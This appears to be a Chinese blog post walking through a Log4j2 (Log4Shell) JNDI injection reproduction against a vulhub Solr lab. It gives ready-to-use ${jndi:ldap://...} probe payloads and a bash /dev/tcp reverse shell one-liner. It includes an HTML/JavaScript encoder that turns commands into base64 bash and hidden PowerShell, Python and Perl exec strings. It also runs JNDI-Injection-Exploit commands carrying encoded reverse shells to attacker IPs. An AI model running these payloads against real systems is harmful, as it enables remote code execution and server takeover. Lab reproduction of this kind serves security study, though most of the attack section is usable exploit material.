首页 > 其他分享 >LOG4j2 漏洞复现

LOG4j2 漏洞复现

时间:2023-10-13 09:44:56浏览次数:33  
标签:taInput Log4j2 value 漏洞 复现 Apache LOG4j2 bash

一、漏洞简介

1.漏洞原理

Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

2.漏洞详情

Apache Log4j 远程代码执行漏洞 严重程度: 严重
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞情况分析:Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

 

二、环境搭建

靶机:ubuntu 使用vulhub的环境

vps:ubuntu

攻击机:win10

三、漏洞测试

我们打开漏洞的环境

cat docker-compose.yml

cat docker-compose.yml 
version: '2'
services:
 solr:
   image: vulhub/solr:8.11.0
   ports:
    - "8983:8983"

 

docker-composer up -d

f6cf097301c2 vulhub/solr:8.11.0 "/opt/solr/bin/solr …" 53 minutes ago Up 53 minutes 0.0.0.0:8983->8983/tcp, :::8983->8983/tcp log4j2_solr_1

 

 漏洞点在action参数

 

我们来验证一下是否存在log4j

payload:

${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
${jndi:ldap://xxxx.dnslog.cn/exp}

我这里采用ceyep平台来验证

 

 

 

三、反弹shell

既然存在漏洞,那么我们就开始准备来进行反弹shell
首先我们先写好反弹shell的命令

 
bash -i >& /dev/tcp/vps_ip/9999 0>&1

 

里面的vps_ip是你要反弹shell的主机ip,9999是要监听的端口。
如我这里用的是10.0.0.110,进行编码:

编码的站点如下:

 

<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
 
    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
 
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');
 
  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;
 
    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }
 
    if (!taInput.value) taOutput.value = '';
  }
 
  taInput.addEventListener('input', processInput, false);
</script>
 
</body>
</html>

  

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMjUwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.0.0.250"

将bash编码的复制,然后运行漏洞利用的jar文件:
下载地址:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

 

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.133"
-C是编码后的内容,-A是远程 rmi ldap 服务的ip地址。
注意要先nc监听9999端口.

 

 

 

 

 

 

 

 

标签:taInput,Log4j2,value,漏洞,复现,Apache,LOG4j2,bash
From: https://www.cnblogs.com/websec80/p/17761171.html

相关文章

  • SpringBootCMS漏洞复现分析
    SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。http://www.jrecms.com环境搭建修改src/main/......
  • 【文件上传漏洞】---基础(开始了解渗透流层)
    利用思路:常规类-扫描获取上传-会员中心上传-后台系统上传------各种途径上传CMS类(已知cms源码)编辑器类ckeditorfckeditorkindeditor------xxxeditor其他类/cve漏洞:解析漏洞cms漏洞其他编辑器/cve1@.什么是文件上传漏洞?有文件上传就有可能存在漏洞(主要......
  • 一图看懂CodeArts Inspector 三大特性,带你玩转漏洞管理服务
    ​​​​本文分享自华为云开发者联盟公众号《一图看懂华为云CodeArtsInspector三大特性,带你玩转漏洞管理服务》。华为云漏洞管理服务CodeArtsInspector是面向软件研发和服务运维提供的一站式漏洞管理能力,通过持续评估系统和应用等资产,内置风险量化管理和在线风险分析处置能力,帮......
  • 泛微OA e-office平台uploadify.php任意文件上传漏洞
    0x01漏洞描述泛微e-office系统是标准、易用、快速部署上线的专业协同OA软件,国内协同OA办公领域领导品牌,致力于为企业用户提供专业OA办公系统、移动OA应用等协同OA整体解决方案。泛微OAe-office平台uploadify.php处存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限。 ......
  • Fuzz测试:发现软件隐患和漏洞的秘密武器
    0x01什么是模糊测试模糊测试(FuzzTesting)是一种广泛用于软件安全和质量测试的自动化测试方法。它的基本思想是向输入参数或数据中注入随机、不规则或异常的数据,以检测目标程序或系统在处理不合法、不正常或边缘情况下的行为。模糊测试通常用于寻找软件漏洞、安全漏洞和崩溃点,以......
  • KSOA之TOM猫更改漏洞
        删除这一类的文件  好像是智友的 ......
  • 记一次从自动发卡平台渗透到挖掘chatgptai SQL注入 0day漏洞的过程
    引言本文介绍了一次从自动发卡平台渗透到挖掘chatgptaiSQL注入0day漏洞的记录,全程并未对任何资产进行任何破坏、数据窃取和获利获益等行为,只用于学习研究目的。因内容信息敏感,部门内容不放置截图,均以文字记录。漏洞挖掘访问发卡店铺,尝试输入/admin,发现管理平台,根据管理平台......
  • 记一次某通用供应链管理系统文件上传漏洞挖掘
    引言本文记录了一次对某通用供应链管理系统文件上传漏洞的挖掘,该通用产品使用了tomcat,但没有配置好tomcat管理后台的认证信息,导致了tomcat后台文件上传漏洞的发生。经测试,大部分使用该产品的资产均存在tomcat后台文件上传Nday的影响。漏洞挖掘路径FUZZ发现tomcat后台接口manag......
  • 记一次某大型会议官网任意密码重置漏洞挖掘(CNVD-2023-41929)
    记录一次本人CNVD漏洞挖掘的过程,此漏洞已被分配编号:CNVD-2023-41929引言本文记录了一次对某大型会议官网任意密码重置漏洞的挖掘,漏洞挖掘时该会议处于即将召开的状态,参会人员来自国际和国内。漏洞挖掘通过信息收集和测试发现存在一个管理后台,且有重置密码接口,但需要一个nonce......
  • 记一次某通用工控设备管理平台 SQL注入漏洞挖掘(CNVD-2023-59080)
    记录一次本人CNVD漏洞挖掘的过程,此漏洞已被分配编号:CNVD-2023-59080引言本文记录了一次对某通用工控设备管理平台基于布尔盲注的SQL注入漏洞的挖掘,存在漏洞的接口是日志查询功能,其中的keyword参数存在SQL注入。漏洞挖掘管理平台需要用户名密码授权,且需要验证码,尝试了几个弱......